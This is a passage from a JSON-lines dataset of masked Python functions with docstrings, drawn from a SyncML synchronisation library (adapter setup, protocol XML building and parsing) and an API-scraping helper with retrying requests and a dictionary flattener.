<NUM_LIT:0>:<EOL><INDENT>self.options.username = None<EOL><DEDENT><DEDENT><DEDENT>log.info('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if self.options.remote is not None:<EOL><INDENT>if self.options.remote != adapter.peer.urlor self.options.username != adapter.peer.usernameor self.options.password != adapter.peer.password:<EOL><INDENT>log.info('<STR_LIT>')<EOL>adapter.peer = None<EOL><DEDENT><DEDENT><DEDENT>if adapter.peer is None:<EOL><INDENT>auth = None<EOL>if self.options.username is not None:<EOL><INDENT>auth = pysyncml.NAMESPACE_AUTH_BASIC<EOL>if self.options.password is None:<EOL><INDENT>self.options.password = getpass.getpass('<STR_LIT>')<EOL><DEDENT><DEDENT>adapter.peer = context.RemoteAdapter(<EOL>url      = self.options.remote,<EOL>auth     = auth,<EOL>username = self.options.username,<EOL>password = self.options.password,<EOL>)<EOL><DEDENT>self._callHooks('<STR_LIT>', context, adapter, adapter.peer)<EOL><DEDENT>uri = self.storeParams.get('<STR_LIT>', self.appLabel)<EOL>if uri in adapter.stores:<EOL><INDENT>store = adapter.stores[uri]<EOL>store.agent = self.agent<EOL><DEDENT>else:<EOL><INDENT>storeParams = dict(<EOL>uri         = uri,<EOL>displayName = self.options.name or self.appDisplay,<EOL>agent       = self.agent,<EOL>maxObjSize  = None)<EOL>if self.storeParams is not None:<EOL><INDENT>storeParams.update(self.storeParams)<EOL><DEDENT>store = adapter.addStore(context.Store(**storeParams))<EOL><DEDENT>self._callHooks('<STR_LIT>', context, adapter, store)<EOL>if self.options.local:<EOL><INDENT>def locprint(msg):<EOL><INDENT>print(msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>locprint = log.info<EOL><DEDENT>def showChanges(changes, prefix):<EOL><INDENT>for c in changes:<EOL><INDENT>if c.state != pysyncml.ITEM_DELETED:<EOL><INDENT>item = self.agent.getItem(c.itemID)<EOL><DEDENT>else:<EOL><INDENT>item = '<STR_LIT>' % (c.itemID,)<EOL><DEDENT>locprint('<STR_LIT>' % (prefix, item, pysyncml.state2string(c.state)))<EOL><DEDENT><DEDENT>if self.options.server:<EOL><INDENT>peers = adapter.getKnownPeers()<EOL>if len(peers) > <NUM_LIT:0>:<EOL><INDENT>locprint('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>locprint('<STR_LIT>')<EOL><DEDENT>for peer in peers:<EOL><INDENT>for puri, pstore in list(peer.stores.items()):<EOL><INDENT>if pstore.binding is None or pstore.binding.uri != store.uri:<EOL><INDENT>continue<EOL><DEDENT>changes = list(pstore.getRegisteredChanges())<EOL>if len(changes) <= <NUM_LIT:0>:<EOL><INDENT>locprint('<STR_LIT>' % (peer.devID, puri))<EOL><DEDENT>else:<EOL><INDENT>locprint('<STR_LIT>' % (peer.devID, puri))<EOL><DEDENT>showChanges(changes, '<STR_LIT:U+0020>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if store.peer is None:<EOL><INDENT>locprint('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>changes = list(store.peer.getRegisteredChanges())<EOL>if len(changes) <= <NUM_LIT:0>:<EOL><INDENT>locprint('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>locprint('<STR_LIT>')<EOL><DEDENT>showChanges(changes, '<STR_LIT>')<EOL><DEDENT><DEDENT>self._callHooks('<STR_LIT>', context, adapter)<EOL>return (context, adapter)<EOL>", "docstring": "Creates a tuple of ( Context, Adapter ) based on the options\nspecified by `self.options`. The Context is the pysyncml.Context created for\nthe storage location specified in `self.options`, and the Adapter is a newly\ncreated Adapter if a previously created one was not found.", "id": "f12363:c1:m10"}
{"signature": "def configure(self, argv=None):", "body": "self._setupOptions()<EOL>self._parseOptions(argv)<EOL>self._setupLogging()<EOL>self._setupModel()<EOL>self.dbsession.commit()<EOL>return self<EOL>", "docstring": "Configures this engine based on the options array passed into\n`argv`. If `argv` is ``None``, then ``sys.argv`` is used instead.\nDuring configuration, the command line options are merged with\npreviously stored values. Then the logging subsystem and the\ndatabase model are initialized, and all storable settings are\nserialized to configurations files.", "id": "f12363:c1:m14"}
{"signature": "def run(self, stdout=sys.stdout, stderr=sys.stderr):", "body": "if self.options.local or self.options.describe:<EOL><INDENT>context, adapter = self._makeAdapter()<EOL>if self.options.describe:<EOL><INDENT>self.describe(stdout)<EOL>adapter.describe(stdout)<EOL><DEDENT>self.dbsession.rollback()<EOL>return <NUM_LIT:0><EOL><DEDENT>if self.options.server:<EOL><INDENT>return self._runServer(stdout, stderr)<EOL><DEDENT>return self._runClient(stdout, stderr)<EOL>", "docstring": "Runs this SyncEngine by executing one of the following functions\n(as controlled by command-line options or stored parameters):\n\n* Display local pending changes.\n* Describe local configuration.\n* Run an HTTP server and engage server-side mode.\n* Connect to a remote SyncML peer and engage client-side mode.\n\nNOTE: when running in the first two modes, all database interactions\nare rolled back in order to keep the SyncEngine idempotent.", "id": "f12363:c1:m15"}
{"signature": "def __init__(self, syncSubdir='<STR_LIT>', defaultDir=None,<EOL>*args, **kw):", "body": "super(DirectorySyncEngine, self).__init__(*args, **kw)<EOL>self.syncSubdir = syncSubdir<EOL>self.defaultDir = defaultDir<EOL>self.rootDir    = None<EOL>", "docstring": "In addition to the :class:`CommandLineSyncEngine` constructor parameters,\nthe `DirectorySyncEngine` accepts the following:\n\n:param syncSubdir:\n\n  Specifies the name of the immediate subdirectory of the base\n  directory that should be created to contain configuration, state\n  and synchronization data. Removal of this directory will reset\n  all client/server states, and synchronization will need to resume\n  via a \"slow-sync\". The application should ignore this directory\n  when manipulating any data. The default is ``\".sync\"``.\n\n:param defaultDir:\n\n  If specified, will allow the user to invoke the application without\n  needing to identify the directory to synchronize, and instead will\n  default to this value. If used, this `CommandLineSyncEngine` begins to\n  resemble how the :class:`LocalUserSyncEngine` operates, but diverges in\n  the fact that the synchronization data is kept in the same directory\n  as the synchronized items.\n\nIn addition to the :class:`CommandLineSyncEngine` attributes,\nthe `DirectorySyncEngine` also provides the following:\n\n:param rootDir:\n\n  The path (potentially either relative or absolute) to the\n  directory under control by this synchronization engine. The path,\n  if valid, ends with a slash (\"/\").", "id": "f12363:c2:m0"}
{"signature": "def __init__(self,<EOL>*args, **kw):", "body": "super(LocalUserSyncEngine, self).__init__(*args, **kw)<EOL>raise NotImplementedError()<EOL>", "docstring": "TODO: document & implement...", "id": "f12363:c3:m0"}
{"signature": "def toSyncML(self, nodeName=None, uniqueVerCt=False):", "body": "if uniqueVerCt:<EOL><INDENT>ret = []<EOL>for v in self.versions:<EOL><INDENT>tmp = ET.Element(nodeName or '<STR_LIT>')<EOL>ET.SubElement(tmp, '<STR_LIT>').text = self.ctype<EOL>ET.SubElement(tmp, '<STR_LIT>').text = v<EOL>ret.append(tmp)<EOL><DEDENT>return ret<EOL><DEDENT>ret = ET.Element(nodeName or '<STR_LIT>')<EOL>ET.SubElement(ret, '<STR_LIT>').text = self.ctype<EOL>for v in self.versions:<EOL><INDENT>ET.SubElement(ret, '<STR_LIT>').text = v<EOL><DEDENT>return ret<EOL>", "docstring": "Returns an ElementTree node representing this ContentTypeInfo. If\n`nodeName` is not None, then it will be used as the containing\nelement node name (this is useful, for example, to differentiate\nbetween a standard content-type and a preferred content-type). If\n`uniqueVerCt` is True, then an array of elements will be returned\ninstead of a single element with multiple VerCT elements (for\ncontent-types that support multiple versions).", "id": "f12370:c0:m4"}
{"signature": "def __init__(self, ctype=None, versions=None,<EOL>preferred=False, transmit=True, receive=True,<EOL>*args, **kw):", "body": "super(ContentTypeInfo, self).__init__(*args, **kw)<EOL>self.ctype     = ctype<EOL>if isinstance(versions, basestring):<EOL><INDENT>versions = [versions]<EOL><DEDENT>self.versions  = versions<EOL>self.preferred = preferred<EOL>self.transmit  = transmit<EOL>self.receive   = receive<EOL>", "docstring": "The ContentTypeInfo constructor supports the following parameters:\n\n:param ctype:\n\n  specifies the content-type string, for example ``\\'text/plain\\'``.\n\n:param versions:\n\n  a version string (or list thereof) of the specified `ctype` that\n  are supported, for example ``[\\'1.0\\', \\'1.1\\']``.\n\n:param preferred:\n\n  boolean specifying whether or not this is the preferred\n  content-type. Note that only one ContentTypeInfo can be marked\n  as being preferred.\n\n:param transmit:\n\n  boolean specifying whether or not the Agent can `transmit` this\n  content-type, i.e. a call to :meth:`pysyncml.Agent.dumpItem\n  <pysyncml.agents.base.Agent.dumpItem>` with this content-type\n  will succeed.\n\n:param receive:\n\n  boolean specifying whether or not the Agent can `receive` this\n  content-type, i.e. a call to :meth:`pysyncml.Agent.loadItem\n  <pysyncml.agents.base.Agent.loadItem>` with this content-type\n  will succeed.", "id": "f12370:c1:m0"}
{"signature": "def commands2tree(self, adapter, session, commands):", "body": "<EOL>hdrcmd = commands[<NUM_LIT:0>]<EOL>commands = commands[<NUM_LIT:1>:]<EOL>if hdrcmd.name != constants.CMD_SYNCHDR:<EOL><INDENT>raise common.InternalError('<STR_LIT>'<EOL>% (hdrcmd.name, constants.CMD_SYNCHDR))<EOL><DEDENT>if hdrcmd.version != constants.SYNCML_VERSION_1_2:<EOL><INDENT>raise common.FeatureNotSupported('<STR_LIT>' % (hdrcmd.version,))<EOL><DEDENT>xsync = ET.Element(constants.NODE_SYNCML)<EOL>xhdr  = ET.SubElement(xsync, hdrcmd.name)<EOL>if hdrcmd.version == constants.SYNCML_VERSION_1_2:<EOL><INDENT>ET.SubElement(xhdr, '<STR_LIT>').text = constants.SYNCML_DTD_VERSION_1_2<EOL>ET.SubElement(xhdr, '<STR_LIT>').text = hdrcmd.version<EOL><DEDENT>ET.SubElement(xhdr, '<STR_LIT>').text = hdrcmd.sessionID<EOL>ET.SubElement(xhdr, '<STR_LIT>').text = hdrcmd.msgID<EOL>xsrc = ET.SubElement(xhdr, '<STR_LIT>')<EOL>ET.SubElement(xsrc, '<STR_LIT>').text = hdrcmd.source<EOL>if hdrcmd.sourceName is not None:<EOL><INDENT>ET.SubElement(xsrc, '<STR_LIT>').text = hdrcmd.sourceName<EOL><DEDENT>xtgt = ET.SubElement(xhdr, '<STR_LIT>')<EOL>ET.SubElement(xtgt, '<STR_LIT>').text = hdrcmd.target<EOL>if hdrcmd.targetName is not None:<EOL><INDENT>ET.SubElement(xtgt, '<STR_LIT>').text = hdrcmd.targetName<EOL><DEDENT>if hdrcmd.respUri is not None:<EOL><INDENT>ET.SubElement(xhdr, '<STR_LIT>').text = hdrcmd.respUri<EOL><DEDENT>if hdrcmd.auth is not None and not session.authAccepted:<EOL><INDENT>if hdrcmd.auth != constants.NAMESPACE_AUTH_BASIC:<EOL><INDENT>raise NotImplementedError('<STR_LIT>' % (common.auth2string(hdrcmd.auth),))<EOL><DEDENT>if hdrcmd.auth == constants.NAMESPACE_AUTH_BASIC:<EOL><INDENT>xcred = ET.SubElement(xhdr, '<STR_LIT>')<EOL>xmeta = ET.SubElement(xcred, '<STR_LIT:Meta>')<EOL>ET.SubElement(xmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF}).text = '<STR_LIT>'<EOL>ET.SubElement(xmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF}).text   = hdrcmd.auth<EOL>ET.SubElement(xcred, '<STR_LIT>').text = base64.b64encode(<EOL>'<STR_LIT>' % (adapter.peer.username, adapter.peer.password))<EOL><DEDENT><DEDENT>if hdrcmd.maxMsgSize is not None or hdrcmd.maxObjSize is not None:<EOL><INDENT>xmeta = ET.SubElement(xhdr, '<STR_LIT:Meta>')<EOL>if hdrcmd.maxMsgSize is not None:<EOL><INDENT>ET.SubElement(xmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF}).text = hdrcmd.maxMsgSize<EOL><DEDENT>if hdrcmd.maxObjSize is not None:<EOL><INDENT>ET.SubElement(xmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF}).text = hdrcmd.maxObjSize<EOL><DEDENT><DEDENT>xbody = ET.SubElement(xsync, constants.NODE_SYNCBODY)<EOL>for cmdidx, cmd in enumerate(commands):<EOL><INDENT>xcmd = ET.SubElement(xbody, cmd.name)<EOL>if cmd.cmdID is not None:<EOL><INDENT>ET.SubElement(xcmd, '<STR_LIT>').text = cmd.cmdID<EOL><DEDENT>if cmd.name == constants.CMD_ALERT:<EOL><INDENT>ET.SubElement(xcmd, '<STR_LIT>').text = str(cmd.data)<EOL>xitem = ET.SubElement(xcmd, '<STR_LIT>')<EOL>ET.SubElement(ET.SubElement(xitem, '<STR_LIT>'), '<STR_LIT>').text = cmd.source<EOL>ET.SubElement(ET.SubElement(xitem, '<STR_LIT>'), '<STR_LIT>').text = cmd.target<EOL>if cmd.lastAnchor is not Noneor cmd.nextAnchor is not Noneor cmd.maxObjSize is not None:<EOL><INDENT>xmeta = ET.SubElement(xitem, '<STR_LIT:Meta>')<EOL>xanch = ET.SubElement(xmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF})<EOL>if cmd.lastAnchor is not None:<EOL><INDENT>ET.SubElement(xanch, '<STR_LIT>').text = cmd.lastAnchor<EOL><DEDENT>if cmd.nextAnchor is not None:<EOL><INDENT>ET.SubElement(xanch, '<STR_LIT>').text = cmd.nextAnchor<EOL><DEDENT>if cmd.maxObjSize is not None:<EOL><INDENT>ET.SubElement(xmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF}).text = cmd.maxObjSize<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>if cmd.name == constants.CMD_STATUS:<EOL><INDENT>ET.SubElement(xcmd, '<STR_LIT>').text    = cmd.msgRef<EOL>ET.SubElement(xcmd, '<STR_LIT>').text    = cmd.cmdRef<EOL>ET.SubElement(xcmd, '<STR_LIT>').text       = cmd.statusOf<EOL>if cmd.sourceRef is not None:<EOL><INDENT>ET.SubElement(xcmd, '<STR_LIT>').text = cmd.sourceRef<EOL><DEDENT>if cmd.targetRef is not None:<EOL><INDENT>ET.SubElement(xcmd, '<STR_LIT>').text = cmd.targetRef<EOL><DEDENT>ET.SubElement(xcmd, '<STR_LIT>').text      = cmd.statusCode<EOL>if cmd.nextAnchor is not None or cmd.lastAnchor is not None:<EOL><INDENT>xdata = ET.SubElement(ET.SubElement(xcmd, '<STR_LIT>'), '<STR_LIT>')<EOL>xanch = ET.SubElement(xdata, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF})<EOL>if cmd.lastAnchor is not None:<EOL><INDENT>ET.SubElement(xanch, '<STR_LIT>').text = cmd.lastAnchor<EOL><DEDENT>if cmd.nextAnchor is not None:<EOL><INDENT>ET.SubElement(xanch, '<STR_LIT>').text = cmd.nextAnchor<EOL><DEDENT><DEDENT>if cmd.errorCode is not None or cmd.errorMsg is not None:<EOL><INDENT>xerr = ET.SubElement(xcmd, '<STR_LIT>')<EOL>if cmd.errorCode is not None:<EOL><INDENT>ET.SubElement(xerr, '<STR_LIT>').text = cmd.errorCode<EOL><DEDENT>if cmd.errorMsg is not None:<EOL><INDENT>ET.SubElement(xerr, '<STR_LIT>').text = cmd.errorMsg<EOL><DEDENT>if cmd.errorTrace is not None:<EOL><INDENT>ET.SubElement(xerr, '<STR_LIT>').text = cmd.errorTrace<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>if cmd.name in [constants.CMD_GET, constants.CMD_PUT]:<EOL><INDENT>ET.SubElement(ET.SubElement(xcmd, '<STR_LIT:Meta>'), '<STR_LIT>',<EOL>{'<STR_LIT>': constants.NAMESPACE_METINF}).text = cmd.type<EOL>if cmd.source is not None or cmd.target is not None or cmd.data:<EOL><INDENT>xitem = ET.SubElement(xcmd, '<STR_LIT>')<EOL><DEDENT>if cmd.source is not None:<EOL><INDENT>xsrc = ET.SubElement(xitem, '<STR_LIT>')<EOL>ET.SubElement(xsrc, '<STR_LIT>').text  = cmd.source<EOL>ET.SubElement(xsrc, '<STR_LIT>').text = cmd.source<EOL><DEDENT>if cmd.target is not None:<EOL><INDENT>xtgt = ET.SubElement(xitem, '<STR_LIT>')<EOL>ET.SubElement(xtgt, '<STR_LIT>').text  = cmd.target<EOL>ET.SubElement(xtgt, '<STR_LIT>').text = cmd.target<EOL><DEDENT>if cmd.data is not None:<EOL><INDENT>if isinstance(cmd.data, str):<EOL><INDENT>ET.SubElement(xitem, '<STR_LIT>').text = cmd.data<EOL><DEDENT>else:<EOL><INDENT>ET.SubElement(xitem, '<STR_LIT>').append(cmd.data)<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>if cmd.name == constants.CMD_RESULTS:<EOL><INDENT>ET.SubElement(xcmd, '<STR_LIT>').text    = cmd.msgRef<EOL>ET.SubElement(xcmd, '<STR_LIT>').text    = cmd.cmdRef<EOL>ET.SubElement(ET.SubElement(xcmd, '<STR_LIT:Meta>'), '<STR_LIT>',<EOL>{'<STR_LIT>': constants.NAMESPACE_METINF}).text = cmd.type<EOL>xitem = ET.SubElement(xcmd, '<STR_LIT>')<EOL>xsrc = ET.SubElement(xitem, '<STR_LIT>')<EOL>ET.SubElement(xsrc, '<STR_LIT>').text  = cmd.source<EOL>ET.SubElement(xsrc, '<STR_LIT>').text = cmd.source<EOL>if cmd.data is not None:<EOL><INDENT>if isinstance(cmd.data, str):<EOL><INDENT>ET.SubElement(xitem, '<STR_LIT>').text = cmd.data<EOL><DEDENT>else:<EOL><INDENT>ET.SubElement(xitem, '<STR_LIT>').append(cmd.data)<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>if cmd.name == constants.CMD_SYNC:<EOL><INDENT>ET.SubElement(ET.SubElement(xcmd, '<STR_LIT>'), '<STR_LIT>').text = cmd.source<EOL>ET.SubElement(ET.SubElement(xcmd, '<STR_LIT>'), '<STR_LIT>').text = cmd.target<EOL>if cmd.noc is not None:<EOL><INDENT>ET.SubElement(xcmd, '<STR_LIT>').text = cmd.noc<EOL><DEDENT>if cmd.data is not None:<EOL><INDENT>for scmd in cmd.data:<EOL><INDENT>xscmd = ET.SubElement(xcmd, scmd.name)<EOL>if scmd.cmdID is not None:<EOL><INDENT>ET.SubElement(xscmd, '<STR_LIT>').text = scmd.cmdID<EOL><DEDENT>if scmd.type is not None or( scmd.format is not None and scmd.format != constants.FORMAT_AUTO ):<EOL><INDENT>xsmeta = ET.SubElement(xscmd, '<STR_LIT:Meta>')<EOL>if scmd.format is not None and scmd.format != constants.FORMAT_AUTO:<EOL><INDENT>ET.SubElement(xsmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF}).text = scmd.format<EOL><DEDENT>if scmd.type is not None:<EOL><INDENT>ET.SubElement(xsmeta, '<STR_LIT>', {'<STR_LIT>': constants.NAMESPACE_METINF}).text = scmd.type<EOL><DEDENT><DEDENT>xsitem = ET.SubElement(xscmd, '<STR_LIT>')<EOL>if scmd.source is not None:<EOL><INDENT>ET.SubElement(ET.SubElement(xsitem, '<STR_LIT>'), '<STR_LIT>').text = scmd.source<EOL><DEDENT>if scmd.sourceParent is not None:<EOL><INDENT>ET.SubElement(ET.SubElement(xsitem, '<STR_LIT>'), '<STR_LIT>').text = scmd.sourceParent<EOL><DEDENT>if scmd.target is not None:<EOL><INDENT>ET.SubElement(ET.SubElement(xsitem, '<STR_LIT>'), '<STR_LIT>').text = scmd.target<EOL><DEDENT>if scmd.targetParent is not None:<EOL><INDENT>ET.SubElement(ET.SubElement(xsitem, '<STR_LIT>'), '<STR_LIT>').text = scmd.targetParent<EOL><DEDENT>if scmd.data is not None:<EOL><INDENT>if isinstance(scmd.data, str):<EOL><INDENT>ET.SubElement(xsitem, '<STR_LIT>').text = scmd.data<EOL><DEDENT>else:<EOL><INDENT>ET.SubElement(xsitem, '<STR_LIT>').append(scmd.data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>continue<EOL><DEDENT>if cmd.name == constants.CMD_MAP:<EOL><INDENT>ET.SubElement(ET.SubElement(xcmd, '<STR_LIT>'), '<STR_LIT>').text = cmd.source<EOL>ET.SubElement(ET.SubElement(xcmd, '<STR_LIT>'), '<STR_LIT>').text = cmd.target<EOL>if cmd.sourceItem is not None or cmd.targetItem is not None:<EOL><INDENT>xitem = ET.SubElement(xcmd, constants.CMD_MAPITEM)<EOL>if cmd.sourceItem is not None:<EOL><INDENT>ET.SubElement(ET.SubElement(xitem, '<STR_LIT>'), '<STR_LIT>').text = cmd.sourceItem<EOL><DEDENT>if cmd.targetItem is not None:<EOL><INDENT>ET.SubElement(ET.SubElement(xitem, '<STR_LIT>'), '<STR_LIT>').text = cmd.targetItem<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>if cmd.name == constants.CMD_FINAL:<EOL><INDENT>if cmdidx + <NUM_LIT:1> < len(commands):<EOL><INDENT>raise common.InternalError('<STR_LIT>' % (cmd.name,))<EOL><DEDENT>continue<EOL><DEDENT>raise common.InternalError('<STR_LIT>' % (cmd.name,))<EOL><DEDENT>return xsync<EOL>", "docstring": "Consumes state.Command commands and converts them to an ET protocol tree", "id": "f12372:c0:m5"}
{"signature": "def tree2commands(self, adapter, session, lastcmds, xsync):", "body": "<EOL>assert xsync.tag == constants.NODE_SYNCML<EOL>assert len(xsync) == <NUM_LIT:2><EOL>assert xsync[<NUM_LIT:0>].tag == constants.CMD_SYNCHDR<EOL>assert xsync[<NUM_LIT:1>].tag == constants.NODE_SYNCBODY<EOL>version = xsync[<NUM_LIT:0>].findtext('<STR_LIT>')<EOL>if version != constants.SYNCML_VERSION_1_2:<EOL><INDENT>raise common.FeatureNotSupported('<STR_LIT>'% (version, constants.SYNCML_VERSION_1_2))<EOL><DEDENT>verdtd = xsync[<NUM_LIT:0>].findtext('<STR_LIT>')<EOL>if verdtd != constants.SYNCML_DTD_VERSION_1_2:<EOL><INDENT>raise common.FeatureNotSupported('<STR_LIT>'% (verdtd, constants.SYNCML_DTD_VERSION_1_2))<EOL><DEDENT>ret = self.initialize(adapter, session, xsync)<EOL>hdrcmd = ret[<NUM_LIT:0>]<EOL>if session.isServer:<EOL><INDENT>log.debug('<STR_LIT>',<EOL>hdrcmd.target, hdrcmd.sessionID, hdrcmd.msgID)<EOL><DEDENT>else:<EOL><INDENT>log.debug('<STR_LIT>',<EOL>lastcmds[<NUM_LIT:0>].target, lastcmds[<NUM_LIT:0>].sessionID, lastcmds[<NUM_LIT:0>].msgID)<EOL><DEDENT>try:<EOL><INDENT>return self._tree2commands(adapter, session, lastcmds, xsync, ret)<EOL><DEDENT>except Exception as e:<EOL><INDENT>if not session.isServer:<EOL><INDENT>raise<EOL><DEDENT>code = '<STR_LIT>' % (e.__class__.__module__, e.__class__.__name__)<EOL>msg  = '<STR_LIT>'.join(traceback.format_exception_only(type(e), e)).strip()<EOL>log.exception('<STR_LIT>', msg)<EOL>return [<EOL>hdrcmd,<EOL>state.Command(<EOL>name       = constants.CMD_STATUS,<EOL>cmdID      = '<STR_LIT:1>',<EOL>msgRef     = session.pendingMsgID,<EOL>cmdRef     = <NUM_LIT:0>,<EOL>sourceRef  = xsync[<NUM_LIT:0>].findtext('<STR_LIT>'),<EOL>targetRef  = xsync[<NUM_LIT:0>].findtext('<STR_LIT>'),<EOL>statusOf   = constants.CMD_SYNCHDR,<EOL>statusCode = constants.STATUS_COMMAND_FAILED,<EOL>errorCode  = code,<EOL>errorMsg   = msg,<EOL>errorTrace = '<STR_LIT>'.join(traceback.format_exception(type(e), e, sys.exc_info()[<NUM_LIT:2>])),<EOL>),<EOL>state.Command(name=constants.CMD_FINAL)]<EOL><DEDENT>", "docstring": "Consumes an ET protocol tree and converts it to state.Command commands", "id": "f12372:c0:m6"}
{"signature": "def page_jump(self, count):", "body": "for i in range(count):<EOL><INDENT>self.get_data()<EOL><DEDENT>", "docstring": "Page through data quickly. Used to resume failed job or jump to another\npage\n:param count: The number of pages to iterate over", "id": "f12376:c1:m4"}
{"signature": "def get_data(self):", "body": "pass<EOL>", "docstring": "Obtain the data to iterate over from the API\n:return:", "id": "f12376:c1:m5"}
{"signature": "def log_error(self, e):", "body": "if not environ.get('<STR_LIT>'):<EOL><INDENT>self.log_function(e)<EOL>if hasattr(e, '<STR_LIT>') and hasattr(e.response, '<STR_LIT:text>'):<EOL><INDENT>self.log_function(e.response.text)<EOL><DEDENT><DEDENT>", "docstring": "Print errors. Stop travis-ci from leaking api keys\n\n:param e: The error\n:return: None", "id": "f12377:c0:m2"}
{"signature": "def _sleep(self, seconds):", "body": "for _ in range(int(seconds)):<EOL><INDENT>if not self.force_stop:<EOL><INDENT>sleep(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "Sleep between requests, but don't force asynchronous code to wait\n\n:param seconds: The number of seconds to sleep\n:return: None", "id": "f12377:c0:m3"}
{"signature": "def get(self, *args, **kwargs):", "body": "try:<EOL><INDENT>req_func = self.session.get if self.session else requests.get<EOL>req = req_func(*args, **kwargs)<EOL>req.raise_for_status()<EOL>self.failed_last = False<EOL>return req<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>self.log_error(e)<EOL>for i in range(<NUM_LIT:1>, self.num_retries):<EOL><INDENT>sleep_time = self.retry_rate * i<EOL>self.log_function(\"<STR_LIT>\" % sleep_time)<EOL>self._sleep(sleep_time)<EOL>try:<EOL><INDENT>req = requests.get(*args, **kwargs)<EOL>req.raise_for_status()<EOL>self.log_function(\"<STR_LIT>\")<EOL>return req<EOL><DEDENT>except requests.exceptions.RequestException:<EOL><INDENT>self.log_function(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not self.failed_last:<EOL><INDENT>self.failed_last = True<EOL>raise ApiError(e)<EOL><DEDENT>else:<EOL><INDENT>raise FatalApiError(e)<EOL><DEDENT><DEDENT>", "docstring": "An interface for get requests that handles errors more gracefully to\nprevent data loss", "id": "f12377:c0:m5"}
{"signature": "def node_edge(self, node, edge, fields=None, params=None):", "body": "if fields:<EOL><INDENT>fields = \"<STR_LIT:U+002C>\".join(fields)<EOL><DEDENT>parameters = {\"<STR_LIT>\": fields,<EOL>\"<STR_LIT>\": self.key}<EOL>parameters = self.merge_params(parameters, params)<EOL>return self.api_call('<STR_LIT>' % (node, edge), parameters)<EOL>", "docstring": ":param node:\n:param edge:\n:param fields:\n:param params:\n:return:", "id": "f12377:c3:m2"}
{"signature": "def post(self, post_id, fields=None, **params):", "body": "if fields:<EOL><INDENT>fields = \"<STR_LIT:U+002C>\".join(fields)<EOL><DEDENT>parameters = {\"<STR_LIT>\": fields,<EOL>\"<STR_LIT>\": self.key}<EOL>parameters = self.merge_params(parameters, params)<EOL>return self.api_call('<STR_LIT:%s>' % post_id, parameters)<EOL>", "docstring": ":param post_id:\n:param fields:\n:param params:\n:return:", "id": "f12377:c3:m3"}
{"signature": "def page_posts(self, page_id, after='<STR_LIT>', post_type=\"<STR_LIT>\",<EOL>include_hidden=False, fields=None, **params):", "body": "if fields:<EOL><INDENT>fields = \"<STR_LIT:U+002C>\".join(fields)<EOL><DEDENT>parameters = {\"<STR_LIT>\": self.key,<EOL>\"<STR_LIT>\": after,<EOL>\"<STR_LIT>\": fields,<EOL>\"<STR_LIT>\": include_hidden}<EOL>parameters = self.merge_params(parameters, params)<EOL>return self.api_call('<STR_LIT>' % (page_id, post_type), parameters)<EOL>", "docstring": ":param page_id:\n:param after:\n:param post_type: Can be 'posts', 'feed', 'tagged', 'promotable_posts'\n:param include_hidden:\n:param fields:\n:param params:\n:return:", "id": "f12377:c3:m4"}
{"signature": "def post_comments(self, post_id, after='<STR_LIT>', order=\"<STR_LIT>\",<EOL>filter=\"<STR_LIT>\", fields=None, **params):", "body": "if fields:<EOL><INDENT>fields = \"<STR_LIT:U+002C>\".join(fields)<EOL><DEDENT>parameters = {\"<STR_LIT>\": self.key,<EOL>\"<STR_LIT>\": after,<EOL>\"<STR_LIT>\": order,<EOL>\"<STR_LIT>\": fields,<EOL>\"<STR_LIT>\": filter}<EOL>parameters = self.merge_params(parameters, params)<EOL>return self.api_call('<STR_LIT>' % post_id, parameters)<EOL>", "docstring": ":param post_id:\n:param after:\n:param order: Can be 'ranked', 'chronological', 'reverse_chronological'\n:param filter: Can be 'stream', 'toplevel'\n:param fields: Can be 'id', 'application', 'attachment', 'can_comment',\n'can_remove', 'can_hide', 'can_like', 'can_reply_privately', 'comments',\n'comment_count', 'created_time', 'from', 'likes', 'like_count',\n'live_broadcast_timestamp', 'message', 'message_tags', 'object',\n'parent', 'private_reply_conversation', 'user_likes'\n:param params:\n:return:", "id": "f12377:c3:m5"}
{"signature": "def flatten(dictionary, parent_key=False, separator='<STR_LIT:.>'):", "body": "items = []<EOL>for key, value in dictionary.items():<EOL><INDENT>new_key = str(parent_key) + separator + key if parent_key else key<EOL>if isinstance(value, collections.MutableMapping):<EOL><INDENT>items.extend(flatten(value, new_key, separator).items())<EOL><DEDENT>elif isinstance(value, list):<EOL><INDENT>for k, v in enumerate(value):<EOL><INDENT>items.extend(flatten({str(k): v}, new_key).items())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>items.append((new_key, value))<EOL><DEDENT><DEDENT>return dict(items)<EOL>", "docstring": "Turn a nested dictionary into a flattened dictionary\n\n:param dictionary: The dictionary to flatten\n:param parent_key: The string to prepend to dictionary's keys\n:param separator: The string used to separate flattened keys\n:return: A flattened dictionary", "id": "f12379:m0"}
